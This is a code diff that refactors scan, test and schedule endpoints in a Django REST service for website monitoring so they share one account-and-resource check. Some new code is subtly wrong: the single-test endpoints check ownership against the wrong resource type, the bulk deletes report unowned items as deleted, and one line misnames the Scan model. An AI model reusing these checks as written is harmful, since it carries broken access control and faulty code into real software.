     if len(types) == 0:
         types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
-        
-    
+
+    # deciding on scope
+    resource = 'site' if site_id else 'page'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
+        if request is not None:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
+    # get site or page
     if site_id is not None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-
-        if site.account != account:
-            data = {'reason': 'create a Scan of a Site you do not own', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-    
+        site = Site.objects.get(id=site_id)
     if page_id is not None:
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-
-        if page.account != account:
-            data = {'reason': 'create a Scan of a Page you do not own', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-
-    if not configs:
-        configs = settings.CONFIGS
+        page = Page.objects.get(id=page_id)
 
+    # setting pages to loop through
     if site_id is not None and page_id is None:
         pages = Page.objects.filter(site=site)
-    
     if site_id is None and page_id is not None:
         pages = [page,]
 
+    # setting default
     created_scans = []
+
+    # looping through each page
     for p in pages:
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -856,7 +1310,8 @@ def create_scan(request=None, delay=False, *args, **kwargs):
             if 'vrt' in types or 'full' in types:
                 run_vrt_bg.delay(scan_id=created_scan.id)
         else:
-            updated_scan = S(scan=created_scan, configs=configs).first_scan()
+            # running scan synchronously
+            S(scan=created_scan, configs=configs).build_scan()
             message = 'Scans have completed running'
 
     # returning dynaminc response
@@ -873,30 +1328,45 @@ def create_scan(request=None, delay=False, *args, **kwargs):
 
 
 
-def create_many_scans(request):
+def create_many_scans(request: object) -> object:
+    """ 
+    Bulk creates `Scans` for each requested `Page`.
+    Either scoped for many `Pages` or many `Sites`.
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs')
-    type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    configs = request.data.get('configs', settings.CONFIGS)
+    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
     tags = request.data.get('tags')
     user = request.user
 
+    # setting defaults
     num_succeeded = 0
     succeeded = []
     num_failed = 0
     failed = []
     this_status = True
 
+    # scoped for sites
     if site_ids:
         for id in site_ids:
             data = {
                 'site_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }
             try:
+                # create scan
                 res = create_scan(delay=True, **data)
                 if res['success']:
                     num_succeeded += 1
@@ -906,21 +1376,22 @@ def create_many_scans(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # scoped for pages
     if page_ids:
         for id in page_ids:
             data = {
                 'page_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }
             try:
+                # create scan
                 res = create_scan(delay=True, **data)
                 if res['success']:
                     num_succeeded += 1
@@ -930,11 +1401,11 @@ def create_many_scans(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # format and return
     data = {
         'success': this_status,
         'num_succeeded': num_succeeded,
@@ -942,66 +1413,60 @@ def create_many_scans(request):
         'num_failed': num_failed,
         'failed': failed, 
     }
-    
     record_api_call(request, data, '201')
     return Response(data, status=status.HTTP_201_CREATED)
 
 
 
-def get_scans(request):
 
-    user = request.user
-    account = Member.objects.get(user=user).account
+def get_scans(request: object) -> object:
+    """ 
+    Get one or more `Scans`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     scan_id = request.query_params.get('scan_id')
     page_id = request.query_params.get('page_id')
-    time_begin = request.query_params.get('time_begin')
-    time_end = request.query_params.get('time_end')
     lean = request.query_params.get('lean')
+    user = request.user
+    account = Member.objects.get(user=user).account
+    
+    # deciding on scope
+    resource = 'page' if page_id else 'scan'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, scan_id=scan_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # get single scan
     if scan_id != None:
-        try:
-            scan = Scan.objects.get(id=scan_id)
-        except:
-            data = {'reason': 'cannot find a Scan with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if scan.site.account != account:
-            data = {'reason': 'cannot retrieve Scans you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+
+        # get scan
+        scan = Scan.objects.get(id=scan_id)
         
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = ScanSerializer(scan, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    
-    try:
-        page = Page.objects.get(id=page_id)
-    except:
-        data = {'reason': 'cannot find a Page with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-
-    if page.account != account:
-        data = {'reason': 'cannot retrieve Scans you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-
-    
-    if time_begin == None and page != None and time_end != None:
-        scans = Scan.objects.filter(page=page).filter(time_created__lte=time_end).order_by('-time_created')
-    elif time_end == None and page != None and time_begin != None:  
-        scans = Scan.objects.filter(page=page).filter(time_created__gte=time_begin).order_by('-time_created')
-    elif time_end == None and time_begin == None and page != None:
-        scans = Scan.objects.filter(page=page).order_by('-time_created')
-    elif time_end != None and time_begin != None and page != None:
-        scans = Scan.objects.filter(page=page).filter(time_created__gte=time_begin).filter(time_created__lte=time_end).order_by('-time_created')
-
+    # get page scoped scans
+    page = Page.objects.get(id=page_id)
+    scans = Scan.objects.filter(page=page)
         
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(scans, request)
     serializer_context = {'request': request,}
@@ -1015,34 +1480,79 @@ def get_scans(request):
 
 
 
-def get_scan_lean(request, id):
+def get_scan(request: object, id: str) -> object:
+    """
+    Get single `Scan` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        scan = Scan.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Scan with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        scan_id=id, resource='scan'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get scan if checks passed
+    scan = Scan.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ScanSerializer(scan, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_scan_lean(request: object, id: str) -> object:
+    """ 
+    Get a single `Scan` and only return scores & timestamps
+
+    Expects: {
+        'request' : object, 
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
 
-    if scan.site.account != account:
-        data = {'reason': 'cannot retrieve Scans you do not own'}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='scan', scan_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get scan if checks passed
+    scan = Scan.objects.get(id=id)
 
     # get lighthouse scores if exists
-    try:
-        lighthouse = {"scores": scan.lighthouse.get('scores')}
-    except:
-        lighthouse = None
+    lighthouse = {"scores": scan.lighthouse.get('scores')}
     
     # get yellowlab scores if exists
-    try:
-        yellowlab = {"scores": scan.yellowlab.get('scores')}
-    except:
-        yellowlab = None
+    yellowlab = {"scores": scan.yellowlab.get('scores')}
 
+    # format data
     data = {
         "id": str(scan.id),
         "site": str(scan.site.id),
@@ -1054,6 +1564,7 @@ def get_scan_lean(request, id):
         "yellowlab": yellowlab,
     }
 
+    # return response
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -1061,27 +1572,39 @@ def get_scan_lean(request, id):
 
 
 
-def delete_scan(request, id):
-    try:
-        scan = Scan.objects.get(id=id)
-    except Exception as e:
-        data = {'reason': 'cannot find a Scan with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-    site = scan.site
+def delete_scan(request: object, id: str) -> object:
+    """ 
+    Deletes the `Scan` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check account and resource
+    check_data = check_account_and_resource(request=request, scan_id=id, resource='scan')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get scan if checks passes
+    scan = Scan.objects.get(id=id)
 
-    if site.account != account:
-        data = {'reason': 'delete Scans of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-
+    # remove s3 objects
     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+
+    # delete scan
     scan.delete()
 
+    # return response
     data = {'message': 'Scan has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -1090,12 +1613,29 @@ def delete_scan(request, id):
 
 
 
-def delete_many_scans(request):
+def delete_many_scans(request: object) -> object:
+    """ 
+    Deletes one or more `Scans` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -1104,20 +1644,25 @@ def delete_many_scans(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+            
+            # trying to delete scan
             try:
                 scan = Scan.objects.get(id=id)
                 if scan.site.account == account:
                     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
                     scan.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except Exception as e:
-                print(e)
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format data
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -1126,10 +1671,12 @@ def delete_many_scans(request):
             'failed': failed, 
         }
         
+        # returning response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
 
+    # return error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -1140,15 +1687,27 @@ def delete_many_scans(request):
 
 
 
+### ------ Begin Test Services ------ ###
 
 
 
 
+def create_test(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+    """ 
+    Create one or more `Tests` depanding on 
+    `Page` or `Site` scope
+
+    Expects: {
+        'request': object, 
+        'delay': bool
+    }
+
+    Returns -> dict or HTTP Response object
+    """
 
-def create_test(request=None, delay=False, *args, **kwargs):
+    # get data from request
     if request is not None:
-        # get data from request
-        configs = request.data.get('configs')
+        configs = request.data.get('configs', settings.CONFIGS)
         pre_scan_id = request.data.get('pre_scan')
         post_scan_id = request.data.get('post_scan')
         index = request.data.get('index')
@@ -1159,8 +1718,10 @@ def create_test(request=None, delay=False, *args, **kwargs):
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
         user = request.user
+
+    # get data from kwargs
     if request is None:
-        configs = kwargs.get('configs')
+        configs = kwargs.get('configs', settings.CONFIGS)
         pre_scan_id = kwargs.get('pre_scan')
         post_scan_id = kwargs.get('post_scan')
         index = kwargs.get('index')
@@ -1172,78 +1733,59 @@ def create_test(request=None, delay=False, *args, **kwargs):
         page_id = kwargs.get('page_id')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
-        # get data from kwargs
+
+    # get account
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request, user=user, resource='test')
+    # verifying test_type
+    if len(test_type) == 0:
+        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+
+    # deciding on scope
+    resource = 'site' if site_id else 'page'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, site_id=site_id
+    )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'], 'success': False}
-        print(data)
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
         if request is not None:
-            record_api_call(request, data, '402')
-            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
         return data
 
+    # deciding on scope
     if site_id is not None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-
-        if site.account != account:
-            data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-    
+        site = Site.objects.get(id=site_id)    
     if page_id is not None:
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-        if page.account != account:
-            data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-        
-
-    if len(test_type) == 0:
-        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
-    
-    if not configs:
-        configs = settings.CONFIGS
-
+        page = Page.objects.get(id=page_id)
 
+    # building pages list
     if site_id is not None and page_id is None:
         pages = Page.objects.filter(site=site)
-    
     if site_id is None and page_id is not None:
         pages = [page]
 
+    # setting default
     created_tests = []
+
+    # looping through pages
     for p in pages:
 
+        # checking for scan completion
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
             print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
+        # verifying pre_ and post_ scans exists
         if pre_scan_id:
             try:
                 pre_scan = Scan.objects.get(id=pre_scan_id)
@@ -1269,6 +1811,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan_id is None:
             pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
 
+        # verifying pre_ and post_ scans completion
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
@@ -1277,7 +1820,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
                 return data
-        
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
@@ -1294,9 +1836,12 @@ def create_test(request=None, delay=False, *args, **kwargs):
             type=test_type,
             tags=tags,
         )
+
+        # add test.id to list
         created_tests.append(str(test.id))
 
         if delay == True:
+            # running test in background
             create_test_bg.delay(
                 page_id=p.id,
                 test_id=test.id,
@@ -1308,15 +1853,25 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 tags=tags,
             )
             message = 'Tests are being created in the background'
-            
+
+        # run with no delay  
         else:
+            # getting pre_scan and building post_scan
             if not pre_scan and not post_scan:
-                new_scan = S(site=p.site, page=p, configs=configs, type=test_type)
-                post_scan = new_scan.second_scan()
-                pre_scan = post_scan.paired_scan
-
+                if scan.objects.filter(page=p).exists():
+                    pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
+                    post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
+                else:
+                    data = {'reason': 'no pre_scan available', 'success': False,}
+                    print(data)
+                    if request is not None:
+                        record_api_call(request, data, '400')
+                        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+                    return data
+
+            # building post_scan
             if not post_scan and pre_scan:
-                post_scan = S(site=p.site, page=p, scan=pre_scan, configs=configs, type=test_type).second_scan()
+                post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
 
             # updating parired scans
             pre_scan.paired_scan = post_scan
@@ -1335,7 +1890,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
             updated_test = T(test=test).run_test(index=index)
             message = 'Tests have completed running'
 
-    
     # returning dynaminc response
     data = {
         'success': True,
@@ -1350,20 +1904,34 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
 
 
-def create_many_tests(request):
+def create_many_tests(request: object) -> object:
+    """ 
+    Bulk creates `Tests` for each requested `Page`.
+    Either scoped for many `Pages` or many `Sites`.
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs')
-    type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    configs = request.data.get('configs', settings.CONFIGS)
+    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
     tags = request.data.get('tags')
     user = request.user
 
+    # setting defaults
     num_succeeded = 0
     succeeded = []
     num_failed = 0
     failed = []
     this_status = True
 
+    # scoped for sites
     if site_ids:
         for id in site_ids:
             data = {
@@ -1374,6 +1942,7 @@ def create_many_tests(request):
                 'user_id': str(user.id)
             }
             try:
+                # create test
                 res = create_test(delay=True, **data)
                 if res['success']:
                     num_succeeded += 1
@@ -1383,11 +1952,11 @@ def create_many_tests(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # scoped for pages
     if page_ids:
         for id in page_ids:
             data = {
@@ -1398,8 +1967,8 @@ def create_many_tests(request):
                 'user_id': str(user.id)
             }
             try:
+                # create test
                 res = create_test(delay=True, **data)
-                print(res)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))
@@ -1408,11 +1977,11 @@ def create_many_tests(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # format and return
     data = {
         'success': this_status,
         'num_succeeded': num_succeeded,
@@ -1420,125 +1989,149 @@ def create_many_tests(request):
         'num_failed': num_failed,
         'failed': failed, 
     }
-
     record_api_call(request, data, '201')
     return Response(data, status=status.HTTP_201_CREATED)
     
 
 
 
-def get_tests(request):
-    user = request.user
-    account = Member.objects.get(user=user).account
+def get_tests(request: object) -> object:
+    """ 
+    Get one or more `Tests`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     test_id = request.query_params.get('test_id')
     page_id = request.query_params.get('page_id')
-    time_begin = request.query_params.get('time_begin')
-    time_end = request.query_params.get('time_end')
     lean = request.query_params.get('lean')
+    user = request.user
+    account = Member.objects.get(user=user).account
     
+    # deciding on scope
+    resource = 'page' if page_id else 'test'
 
-    if test_id != None:
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, test_id=test_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-        try:
-            test = Test.objects.get(id=test_id)
-        except:
-            data = {'reason': 'cannot find a Test with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if test.site.account != account:
-            data = {'reason': 'cannot retrieve Tests you do not own'}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # get single test
+    if test_id != None:
         
+        # get test
+        test = Test.objects.get(id=test_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = TestSerializer(test, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
+    # get all page scoped tests
+    page = Page.objects.get(id=page_id)
+    tests = Test.objects.filter(page=page).order_by('-time_created')
 
-    try:
-        page = Page.objects.get(id=page_id)
-    except:
-        if page_id != None:
-            data = {'reason': 'cannot find a Page with that id',}
-            this_status = status.HTTP_404_NOT_FOUND
-            status_code = '404'
-        else:
-            data = {'reason': 'you did not provide the page_id'}
-            this_status = status.HTTP_400_BAD_REQUEST
-            status_code = '400'
-        record_api_call(request, data, status_code)
-        return Response(data, status=this_status)
-
-    if page.site.account != account:
-        data = {'reason': 'cannot retrieve Tests you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    if time_begin == None and page != None and time_end != None:
-        tests = Test.objects.filter(page=page).filter(time_completed__lte=time_end).order_by('-time_created')
-    elif time_end == None and page != None and time_begin != None:  
-        tests = Test.objects.filter(page=page).filter(time_completed__gte=time_begin).order_by('-time_created')
-    elif time_end != None and time_begin != None and page != None:
-        tests = Test.objects.filter(page=page).filter(time_completed__gte=time_begin).filter(time_completed__lte=time_end).order_by('-time_created')
-    elif time_end == None and time_begin == None and Site != None:
-        tests = Test.objects.filter(page=page).order_by('-time_created')
-    else:
-        data = {'reason': 'you did not provide the right params',}
-        record_api_call(request, data, '400')
-        return Response(data, status=status.HTTP_400_BAD_REQUEST)
-        
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(tests, request)
     serializer_context = {'request': request,}
     serialized = TestSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
         serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
-        
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
-
     return response
 
 
 
 
-def get_test_lean(request, id):
+def get_test(request: object, id: str) -> object:
+    """
+    Get single `Test` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        test = Test.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Test with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        test_id=id, resource='scan'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get test if checks passed
+    test = Test.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = TestSerializer(test, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
 
-    if test.site.account != account:
-        data = {'reason': 'cannot retrieve Tests you do not own'}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+def get_test_lean(request: object, id: str) -> object:
+    """ 
+    Get a single `Test` and only return scores & timestamps
+
+    Expects: {
+        'request' : object, 
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='scan', scan_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get test if checks passed
+    test = Test.objects.get(id=id)
 
     # get images_delta if exists
-    try:
-        images_delta = {"average_score": test.images_delta.get('average_score')}
-    except:
-        images_delta = None
+    images_delta = {"average_score": test.images_delta.get('average_score')}
 
     # get lighthouse_delta if exists
-    try:
-        lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')}
-    except:
-        lighthouse_delta = None
+    lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')}
 
-     # get lighthouse_delta if exists
-    try:
-        yellowlab_delta = {"scores": test.yellowlab_delta['scores']}
-    except:
-        yellowlab_delta = None
+    # get lighthouse_delta if exists
+    yellowlab_delta = {"scores": test.yellowlab_delta['scores']}
 
+    # format data
     data = {
         "id": str(test.id),
         "site": str(test.site.id),
@@ -1554,6 +2147,7 @@ def get_test_lean(request, id):
         "images_delta": images_delta,
     }
 
+    # return
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -1561,26 +2155,39 @@ def get_test_lean(request, id):
 
 
 
-def delete_test(request, id):
-    try:
-        test = Test.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Test with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-    site = test.site
+def delete_test(request: object, id: str) -> object:
+    """ 
+    Deletes the `Test` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if site.account != account:
-        data = {'reason': 'delete Tests of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, test_id=id, resource='test')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get test if checks passed
+    test = Test.objects.get(id=id)
     
+    # remove s3 objects
     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+
+    # delete test
     test.delete()
 
+    # return response
     data = {'message': 'Test has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -1589,12 +2196,29 @@ def delete_test(request, id):
 
 
 
-def delete_many_tests(request):
+def delete_many_tests(request: object) -> object:
+    """ 
+    Deletes one or more `Tests` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -1603,19 +2227,25 @@ def delete_many_tests(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+
+            # trying to delete site
             try:
                 test = Test.objects.get(id=id)
                 if test.site.account == account:
                     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
                     test.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format data
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -1623,10 +2253,13 @@ def delete_many_tests(request):
             'num_failed': num_failed,
             'failed': failed, 
         }
+
+        # return response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # return error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -1637,69 +2270,66 @@ def delete_many_tests(request):
 
 
 
+### ------ Begin Schedule Services ------ ###
+
+
 
 
+def create_or_update_schedule(request: object) -> object:
+    """ 
+    Creates or Updates a `Schedule` 
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
+    # get request data
+    schedule_status = request.data.get('status')
+    begin_date_raw = request.data.get('begin_date')
+    time = request.data.get('time')
+    timezone = request.data.get('timezone')
+    freq = request.data.get('frequency')
+    task_type = request.data.get('task_type')
+    test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    configs = request.data.get('configs', settings.CONFIGS)
+    schedule_id = request.data.get('schedule_id')
+    site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
+    case_id = request.data.get('case_id')
+    updates = request.data.get('updates')
 
-def create_or_update_schedule(request):
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+    
